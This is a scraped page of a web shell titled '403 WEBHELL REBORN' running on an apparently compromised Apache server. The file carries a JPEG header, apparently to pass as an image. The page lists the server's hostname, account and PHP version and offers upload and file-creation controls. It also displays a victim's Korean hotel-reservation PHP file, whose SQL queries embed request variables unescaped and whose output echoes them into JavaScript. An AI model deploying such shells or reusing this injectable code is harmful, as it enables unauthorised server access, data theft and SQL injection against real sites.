ÿØÿà JFIF  ` ` ÿþš 403 WEBHELL REBORN
403 WEBHELL REBORN
Server : Apache
System : Linux ruga7-004.fmcity.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : tkt_travelbus ( 1137)
PHP Version : 7.0.0p1
Disable Function : mysql_pconnect
Directory :  /tkt_travelbus/www/admin/reservation/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

Buat Folder Baru:
Buat File Baru:

Current File : /tkt_travelbus/www/admin/reservation/check_room_date_ajax.php
<?
/*
* 예약가능한 객실 & 일자 검색
*
* 작성일 : 20130802
* 작성자 : 허종
* 
* 수정이력 
*  20130802_1 - @commission방식 -> @price_agent(대리점가) 방식으로 전환수정 (허종)
*  
* 
*/
include "../include/top_proc.html"; //공통파일 인클루드

$room_date_arr = date_to_date($indate , $outdate , "N" );

$error_date_str = ""; // 에러내용 저장
$reserv_yn = "Y";// 예약가능
$res_stat_cd = "C";// 대기예약(R) , 확정예약(C)
$hdidx_str ="";// 객실가격 seq 누적
$price_total = 0;// 계산된 실 판매가
$price_cost_total = 0;// 계약가total
$price_sell_total = 0;// 개인판매가total
$price_agent_total = 0;// 대리점판매가total
$commission_total = 0;// 커미션total
$lodg_day = 0;// 박수

if ( !$room_cnt ) $room_cnt = 1; // 예약 객실수 1개 

// 예약불가일때, 두 변수(@outdate,@room_cnt) 중 체크된 case만 초기화되게 하기위함.
$outdate_chg = $outdate; // 체크아웃
$room_cnt_chg = $room_cnt; // 룸수

for ( $i=0 ; $i<count($room_date_arr) ; $i++ ) {
	$room_date = $room_date_arr[$i]['date'];
	$sql = "select * from TB_HOTEL_DATE where r_idx='{$ridx}' and h_seq='{$hseq}' and room_date='{$room_date}' and del_flag='N' ";
	$rs = db_query($sql);
	$row_t = hotel_date_room_info($rs);

	if ( $reserv_yn == "Y" ) {
		// 예약불가 이거나 , 일자가 없은 경우는 예약불가(N)
		if( $row_t[0]['reserv_yn']=="N" or !$row_t[0]['hdidx'] ) {
			$reserv_yn = "N";
			$error_date_str .= $room_date . "(예약불가) ";
			$outdate_chg = date("Y-m-d",strtotime($indate." +1 day"));// 예약불가일때 체크아웃일자를 기본 값(체크인다음날)으로 변경하기 위함
		}

		// 객실 조회
		/*
		if ( ($row_t[0]['total_seat'] < ($row_t[0]['left_seat'] + $room_cnt)) and $reserv_yn == "Y" ) {
			$reserv_yn = "N";// 객실 예약초과는 예얍불가(N)
			$error_date_str .= $room_date . "(객실초과) ";
			$room_cnt_chg = 1; // 룸수를 초과하면, 1개룸 선택으로 변경해 버림(이전에 뭘선택했었는지 알수 없음으로...)
		}
		*/

		// 대기예약(R) , 확정예약(C) 판단
		if ( $row_t[0]['reserv_yn']=="R" and $sw=="" ) {
			$res_stat_cd = "R";
			$sw = "checked";
		}

		$lodg_day++;// 박수 증가

		$hdidx_str .= $row_t[0]['hdidx'] . ",";
		$price_cost_total += $row_t[0]['price_cost'] * $room_cnt;// 계약가 total
		$price_sell_total += $row_t[0]['price_sell'] * $room_cnt;// 개인판매가 total
		$price_agent_total += $row_t[0]['price_agent'] * $room_cnt;// 대리점판매가 total
		//$commission_total += $row_t[0]['commission'] * $room_cnt;// 커미션total

		if ( strpos($mode,"gent") ){ // 대리점 판매
			//$price_total += ( $row_t[0]['price_sell'] * $room_cnt ) - ( $row_t[0]['commission'] * $room_cnt );// 판매가-커미션
			$price_total += $row_t[0]['price_agent'] * $room_cnt;
		} else { // 개인판매
			$price_total += $row_t[0]['price_sell']  * $room_cnt;// 판매가
		}
	}
}

// 예약 접수 상태
$code_res = base_codec("PRD","HRES",$res_stat_cd);

?>
<script type="text/javascript">
<? if ( $reserv_yn == "Y" ) {// 예약가능?>

	$("#price_total_<?=$num?>").val('<?=$price_total?>');// 합계
	$("#lodg_day_<?=$num?>").val('<?=$lodg_day?>');// 박수
	$("#lodg_dt_<?=$num?>").html('<?=$lodg_day?>');// 박수 HTML
	$("#room_cnt_<?=$num?>").val('<?=$room_cnt?>');// 룸수 
	$("#hdidx_str_<?=$num?>").val('<?=$hdidx_str?>');// 객실가격 seq 누적
	$("#price_cost_total_<?=$num?>").val('<?=$price_cost_total?>');// 계약가total
	$("#price_sell_total_<?=$num?>").val('<?=$price_sell_total?>');// 개인판매가total
	$("#price_agent_total_<?=$num?>").val('<?=$price_agent_total?>');// 대리점판매가total
	//$("#commission_total_<?=$num?>").val('<?=$commission_total?>');// 커미션total
	$("#price_total2_<?=$num?>").html('<?=number_format($price_total)?>');// 판매가 total HTML
	$("#price_cost2_<?=$num?>").html('<?=number_format($price_cost_total)?>');// 계약가total HTML
	$("#price_sell2_<?=$num?>").html('<?=(strpos($mode,"gent")) ? number_format($price_agent_total):number_format($price_sell_total) ?>');// 판매가total HTML

	// 예약상태 추가
	$("#res_stat_cd_<?=$num?>").val('<?=$res_stat_cd?>');
	$("#res_stat_str_<?=$num?>").html('<?=$code_res[0]['cd_nm']?>');
	$("#res_stat_str_<?=$num?>").css("color","<?=$code_res[0]['cd_memo']?>");

<? } else { // 예약불가?>

	alert("<?=$error_date_str?> 입니다.");
	$("#checkout_dt_<?=$num?>").val("<?=$outdate_chg?>");// 예약일자
	$("#room_count_<?=$num?>").val('<?=$room_cnt_chg?>');// 룸수
	row_room_check('<?=$num?>');

<? } ?>
</script>

Anon7 - 2021